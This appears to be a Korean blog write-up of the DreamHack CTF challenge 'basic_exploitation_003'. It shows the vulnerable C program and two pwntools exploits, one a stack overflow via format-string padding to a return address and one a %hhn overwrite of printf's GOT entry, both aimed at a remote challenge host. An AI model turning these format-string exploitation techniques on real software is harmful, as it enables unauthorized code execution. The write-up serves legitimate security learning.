본문 바로가기

DreamHack: System Hacking/F Stage 10

basic_exploitation_003

소스코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    return 0;
}

 

아키텍처 및 보호기법

 

설계

첫 번째 풀이) Canary가 존재하지 않고, 소스코드의 "sprintf(stack_buf, heap_buf)"에서 문자열의 길이를 제한하고 있지 않다. 따라서 heap_buf에 충분히 큰 값을 인자로 줘서 stack_buf로 bof를 일으켜 main 함수의 Return Address를 get_shell()의 주소로 overwrite 하면 될 것이다.

ex. heap_buf = "%156c"라고 하면, sprintf를 통해 stack_buf에는 "(공백 155개)+문자"가 들어가게 된다"

 

 

스택 구조

 

스택 구조 파악은 어렵지 않으니 디버거로 직접 해보기 바란다.

 

 

[exploit1(bof)]
from pwn import *
p = remote('host3.dreamhack.games', 13924)

payload = "%156c" + p32(0x8048669) # RET Address Overwrite

p.interactive()

 

 

============================================================================================

번외, 두 번째 풀이) sprintf를 이용해 printf() GOT를 get_shell()의 주소로 overwrite 한다.

 

printf() GOT = 0x804a010

get_shell() = 0x8048669

에서 상위 2byte는 같으니 하위 2byte만 바꿔주면 될 것이다.

 

실행 결과 printf의 인자는 첫 번째 인자부터 우리가 입력한 값을 가리키는 것을 볼 수 있다. 즉, 스택 구조를 참고했을 때 %1$ == [esp+0]이다. 우리가 format string bug를 이용할 sprintf 함수와 printf 함수의 인자 순서가 달라질 수 있지만, printf의 인자를 따라서 스택 구조를 다음과 같이 짜고 printf() GOT를 overwrite 하면 get_shell()을 실행시킬 수 있을 것이다.

우리는 각각 1byte씩 두 번 overwrite 하여 printf() GOT의 하위 2byte(a010)를 overwrite 해줄 것이다

 

get_shell의 하위 2byte를 1byte씩 끊어보면,

0x86 = 134

0x69 = 105

 

from pwn import *
p = remote('host3.dreamhack.games', 23764)
e = ELF('./basic_exploitation_003')

get_shell = e.symbols[b'get_shell'] #0x8 04 86 69
printf_got = e.got[b'printf']

payload = p32(printf_got) + p32(printf_got+1) + b"%97c%1$hhn%29c%2$hhn" # "ECHO : "(7byte)가 출력되고 있으니 0x69(105)-0x7을 해줘야 한다.
p.send(payload)

print("addr of printf_got:", hex(printf_got))
print("addr of get_shell():", hex(get_shell))
p.interactive()